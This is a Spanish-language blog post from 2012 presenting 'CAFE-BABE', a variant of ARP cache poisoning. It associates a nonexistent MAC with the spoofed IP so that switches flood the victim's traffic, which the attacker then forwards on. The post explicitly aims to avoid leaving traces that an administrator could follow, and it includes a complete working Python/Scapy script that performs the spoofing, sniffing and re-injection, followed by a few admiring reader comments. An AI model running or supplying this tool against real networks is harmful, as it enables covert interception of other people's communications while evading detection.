martes, 17 de julio de 2012

Scapy, ARP y CAFE-BABE

Nada, que debí haber tomado mucho café y de pronto quise hacer lo mismo de siempre pero diferente.

Quizá lo que vaya a explicar en este post no tenga utilidad práctica, no aporte eficiencia, es más, hasta puede que la reste y que no sea tan innovador como yo creo. Pero se me ocurrió ayer y no he dormido hasta demostrarme a mi mismo que funciona.

De lo que trata, es de hacer una típica interceptación de paquetes IP dentro de una red LAN valiendonos de las debilidades ya por demás conocidas del protocolo ARP. Sin embargo, a diferencia del clásico ataque ARP Poisoning en el que asocias tu MAC con la IP del router (u otro host) en la caché ARP de la victima, en este caso la asociación se hará con una MAC arbitraria e inexistente en la red. Yo le llamo CAFE-BABE.

¿Y por qué hacer eso? Bueno, la principal razón es para no dejar rastros. Me explico, en el ataque clásico tu MAC queda asociada a una IP diferente de la tuya dentro de la caché de la víctima. Ese es un rastro que puede llevar hasta tí. ¿Cómo? Pues si el administrador del host victima decidiera revisar su caché ARP notaría algo bastante extraño: que tu MAC está asociada a dos IPs diferentes (la tuya real y la que tratas de suplantar). Incluso si en ese momento tu MAC solo estuviera asociada a la IP suplantada, luego de escanear la red local se descubriría la doble asociación. Si el administrador tiene tu MAC, también tiene tu IP. Luego ya solo debe escanear tu IP, ver los servicios que tienes corriendo, el nombre del host, el sistema operativo, etc. Tendría suficiente información para hacer una conjetura sobre tu identidad. Además recuerda que el ataque se hace en LAN, así que no hay muchos lugares donde esconderse.

Ahora bien, ¿Cómo funciona CAFE-BABE? CAFE-BABE solo es una dirección MAC (00:CA:FE:BA:BE:00) que suena bien y que muy probablemente no exista dentro de la red local. En realidad podría ser cualquier otra dirección MAC, el único requisito es que no pertenezca a ningún host de la LAN. La idea es asociar CAFE-BABE con la IP que deseas suplantar en la caché ARP de la victima. Esto provocará que cuando la victima trate de enviar un mensaje a la IP suplantada, ponga CAFE-BABE como dirección MAC de destino. Pero CAFE-BABE no existe, entonces ¿A quién le llega el mensaje? Pues a todos. Esto es porque los switchs, cuando notan que la MAC destino no está asociada a uno de sus puertos directamente, envían la trama ethernet por todos sus puertos esperando que del otro lado haya un switch que tenga la MAC destino en uno de sus puertos. Al final lo que estamos consiguiendo es que cuando el host victima quiera comunicarse con el host suplantado, envíe los mensajes a broadcast y en consecuencia podamos verlos.

Haciendo el ataque de esta forma, cuando el administrador revise la caché ARP en la máquina víctima, probablemente encuentre una doble asociación entre la IP suplantada con su MAC real y con CAFE-BABE. Pero cuando lance su scanner y trate de averiguar la IP real de CAFE-BABE, se dará con la sorpresa de que no existe ningún host con esa MAC en la red, se confundirá y será muy gracioso }xD

Sin embargo, esto no funciona de buenas a primeras. Hay un problema ¿Cómo hacemos para que no se rompa la conexión entre host víctima y host suplantado? Ahora los mensajes se envían a broadcast pero con MAC destino CAFE-BABE, cuando el host suplantado reciba el mensaje, revisará la MAC destino, verá que no va dirigido para él y lo descartará rompiendo así la conexión :(

Para arreglar esto se me ocurrió que, puesto que a mí (host atacante) también me llega una copia del mensaje, solo debía modificarlo cambiando la MAC destino (CAFE-BABE) por la MAC real del host suplantado y luego reinsertar el mensaje en la red. Así el mensaje llegaría por segunda vez al host suplantado pero esta vez con la MAC destino correcta, por lo que sería aceptado y procesado. Finalmente el host suplantado respondería directamente al host víctima.

Con lo anterior conseguimos interceptar la comunicación en un solo sentido: de host victima hacia host suplantado. Para hacerlo en ambas direcciones solo es cuestión de usar CAFE-BABE contra ambos hosts.

Bien hasta aquí la teoría... que decirlo suena fácil pero ya implementarlo... es cosa de Scapy. Para quienes no conocen Scapy, pues es una librería python que te permite construir mensajes de varios protocolos de red de las diferentes capas e incluso inventarte tus propios protocolos y hacer realidad tus sueños despierto (aka alucinaciones) y/o fumadas como ésta.

Bien, entonces los dejó con el código que hice y un link a la documentación de Scapy por si algo no se entiende. Aún es un borrador, seguro que se puede programar mejor, pero creo que ayuda a terminar de comprender la idea y además ya funciona :D

#!/usr/bin/python

"""
Name : CAFE-BABE
By   : Alguien
Blog : http://alguienenalfisi.blogspot.com
Date : 17/07/2012
"""

from sys import argv
from scapy.all import *
import time, threading

FAKE_MAC = "00:CA:FE:BA:BE:00"
FAKE_IP = "192.168.0.23"
BROADCAST = "FF:FF:FF:FF:FF:FF"
DELAY = 3


class Sniffer( threading.Thread ) :
 def __init__( self, target, hw_host, iface ) :
  threading.Thread.__init__( self )
  self.target = target
  self.hw_host = hw_host
  self.iface = iface
  
 def reenviar( self, pkt ) :
  pkt.dst = self.hw_host
  sendp( pkt, iface=self.iface )
 
 def run( self ) :
  filtro = "ip and src host %s and ether dst %s" % (self.target, FAKE_MAC)
  sniff( filter=filtro, iface=self.iface, prn=self.reenviar )
 

class Injector( threading.Thread ) :
 def __init__( self, target, hw_target, host, iface ) :
  threading.Thread.__init__( self )
  self.target = target
  self.hw_target = hw_target
  self.host = host
  self.iface = iface
 
 def run( self ) :
  while True :
   pkt = Ether( src=FAKE_MAC, dst=self.hw_target ) / ARP( op=2, hwsrc=FAKE_MAC, psrc=self.host, pdst=self.target )
   sendp( pkt, iface=self.iface )
   time.sleep( DELAY )


if len( argv ) != 4 :
 print "Uso: %s <iface> <target> <host>" % argv[0]
 exit()

iface = argv[1]
target = argv[2]
host = argv[3]

pkt = Ether( dst=BROADCAST ) / ARP( op=1, psrc=FAKE_IP, pdst=target )
ans, unans = srp( pkt, timeout=2, iface=iface )
if len( ans ) == 0 :
 exit()
s,r = ans[0]
hw_target = r.hwsrc

pkt = Ether( dst=BROADCAST ) / ARP( op=1, psrc=FAKE_IP, pdst=host )
ans, unans = srp( pkt, timeout=2, iface=iface )
if len( ans ) == 0 :
 exit()
s,r = ans[0]
hw_host = r.hwsrc

time.sleep(2)

pkt = Ether( dst=hw_target ) / ARP( op=2, psrc=FAKE_IP, hwsrc="AA:BB:CC:DD:EE:FF", pdst=target )
sendp( pkt, iface=iface )

pkt = Ether( dst=hw_host ) / ARP( op=2, psrc=FAKE_IP, hwsrc="AA:BB:CC:DD:EE:FF", pdst=host )
sendp( pkt, iface=iface )


pkt = Ether( src=FAKE_MAC, dst=hw_target ) / ARP( op=1, hwsrc=FAKE_MAC, psrc=host, pdst=target )
sendp( pkt, iface=iface )

injector = Injector(target, hw_target, host, iface)
sniffer = Sniffer( target, hw_host, iface )

injector.start()
sniffer.start()

injector.join()
sniffer.join()

Por lo pronto es todo, quizá luego haga un vídeo mostrando como funciona.

Saludos...

4 comentarios:

  1. Excelente aportación amigo, sos un crack.
    Saludos

    ResponderEliminar
  2. Excelente man sigue asi....

    ResponderEliminar
  3. No entiendo ni un carajo de lo que programaste en Python pero me parece excelente tu trabajo...

    Como quisiera saber pero tendria que programar en Python >.<

    Sigue adelante

    ResponderEliminar